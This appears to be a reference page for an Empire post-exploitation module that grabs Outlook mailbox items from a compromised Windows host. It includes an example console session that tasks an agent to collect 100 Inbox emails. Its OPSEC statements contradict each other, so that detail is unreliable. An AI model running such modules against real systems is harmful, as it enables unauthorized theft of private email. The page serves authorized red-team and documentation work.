Get-EmailItems - Empire Module
This page contains detailed information about how to use the powershell/management/mailraider/get_emailitems Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Get-EmailItems
Module: powershell/management/mailraider/get_emailitems
Source code [1]: empire/server/modules/powershell/management/mailraider/get_emailitems.yaml
Source code [2]: empire/server/modules/powershell/management/mailraider/get_emailitems.py
MITRE ATT&CK:
T1114
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The get_emailitems module returns all of the items for the specified folder.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the get_emailitems module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the get_emailitems module:
Agent
Agent to run module on.
FolderName
The Name of the Outlook Default Folder.
Default value: Inbox
.
MaxEmails
Maximum number of emails to grab.
Default value: 100
.
Additional Module Options
This is a list of additional options that are supported by the get_emailitems module:
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String
.
Suggested values: Out-String
, ConvertTo-Json
, ConvertTo-Csv
, ConvertTo-Html
, ConvertTo-Xml
.
Get_emailitems Example Usage
Here's an example of how to use the get_emailitems module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/mailraider/get_emailitems
Author @xorrior
Background True
Comments https://github.com/xorrior/EmailRaider
http://www.xorrior.com/phishing-on-the-inside/
Description Returns all of the items for the specified folder.
Language powershell
Name powershell/management/mailraider/get_emailitems
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1114
,Record Options--,------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|----------------|------------|----------|-------------------------------------|
| FolderName | Inbox | True | The Name of the Outlook Default |
| | | | Folder. |
|----------------|------------|----------|-------------------------------------|
| MaxEmails | 100 | True | Maximum number of emails to grab. |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
'----------------'------------'----------'-------------------------------------'
(Empire: usemodule/powershell/management/mailraider/get_emailitems) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/mailraider/get_emailitems) > set FolderName Inbox
[*] Set FolderName to Inbox
(Empire: usemodule/powershell/management/mailraider/get_emailitems) > set MaxEmails 100
[*] Set MaxEmails to 100
(Empire: usemodule/powershell/management/mailraider/get_emailitems) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/mailraider/get_emailitems.py
- https://github.com/xorrior/EmailRaider
- http://www.xorrior.com/phishing-on-the-inside/
- http://attack.mitre.org/techniques/T1114
See Also
Check also the following modules related to this module:
- powershell/management/mailraider/get_subfolders
- powershell/management/get_domain_sid
- powershell/management/mailraider/mail_search
- powershell/management/mailraider/send_mail
- powershell/management/mailraider/view_email
- powershell/management/mailraider/search_gal
- powershell/management/mailraider/disable_security
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.